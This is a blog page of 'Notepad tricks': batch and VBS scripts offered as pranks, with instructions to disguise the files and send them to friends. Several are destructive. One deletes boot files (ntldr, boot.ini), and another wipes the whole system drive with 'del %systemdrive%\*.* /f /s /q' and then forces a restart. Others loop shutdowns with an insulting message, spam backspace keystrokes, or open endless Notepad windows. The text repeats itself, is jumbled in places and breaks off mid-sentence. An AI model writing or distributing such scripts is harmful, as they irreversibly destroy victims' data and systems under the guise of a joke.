Showing posts with label NOTEPAD TRICKS. Show all posts
Showing posts with label NOTEPAD TRICKS. Show all posts
Is your Computer Male or Female?
To find out the gender of your computer follow these instructions
Open Notepad.
Copy and paste CreateObject("SAPI.SpVoice").Speak"Hello your name"
Save as computer_gender.vbs
Run the file.
If you hear a male voice, you have a boy.
If you hear a female voice, you have a girl.
If you hear a female voice, you have a girl.
!....Do not try this at your own computer.....!
@echo off
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini
Open up notepad and copy and paste that. Save it as a .bat file.
This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart. Have fun ...
REMEMBER - DO NOT CLICK THIS FILE.
YOU WONT RECOVER YOUR COMPUTER BACK AFTER YOU OPEN THE .BAT FILE!
The Blue Screen Of Death can be coded and sent to you like any application. It is up to you to be carefull and try to reveal the trick before getting in serious trouble. It loops a message asking to re-install ur windows again
open notepad and type the below code(or) copy paste the code...
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00
name the file (anyname).vbs
eg ::Save it as “notepad.vbs”
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00
name the file (anyname).vbs
eg ::Save it as “notepad.vbs”
Endless Backspace*this makes it so the backspace key is constantly being
name the file (anyname).vbs Example ::Save it as “prakash.vbs” and send it to your
friends....
READ MORE
Pressed*MsgBox “Let’s go back a few steps”
Below copy and paste in notepad.....
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
name the file (anyname).vbs Example ::Save it as “prakash.vbs” and send it to your
friends....Restart Computer (Give A Abuse Message While Getting Restart)
Copy and Paste in notepad
@echo off:
top
shutdown -c “Idiot! You are too stupid to run a computer!” -s
GOTO top
Now save this file by any name.
Example :: “filename.bat”
Copy and Paste in notepad
@echo off:
top
shutdown -c “Idiot! You are too stupid to run a computer!” -s
GOTO top
Now save this file by any name.
Example :: “filename.bat”
Funny vbs prank-Keyboard Disco
Open notepad type the code below, or Simply copy the code
Open notepad type the code below, or Simply copy the code
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
wshshell.sendkeys “{NUMLOCK}”
wshshell.sendkeys “{SCROLLLOCK}”
loop
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
wshshell.sendkeys “{NUMLOCK}”
wshshell.sendkeys “{SCROLLLOCK}”
loop
save as disco.vbs
and double click that file…
see your keyboard
the lights are blinking
to stop lights, open task manager and end process wscript.exe
and double click that file…
see your keyboard
the lights are blinking
to stop lights, open task manager and end process wscript.exe
This simple computer prank consists of a code below that will drive your friend crazy as it opens notepad continuously.When you type the below code and rename it as *.bat it take the above showed icon shape.To Open Notepad continuously in your friend’s Computer:
Type the code in notepad as (or) Simply copy the code and paste in notepad
@ECHO off
:topSTART %SystemRoot%\system32\notepad.exe
GOTO top
Save it as “notepad.BAT” and send it your friends
Note: If you want to try it, then go ahead and when you built this file double click to open it. But beware it slows your system and you will be left with no other option than to restart, as this script opens 100’s of notepad window. So, If you want to try this than
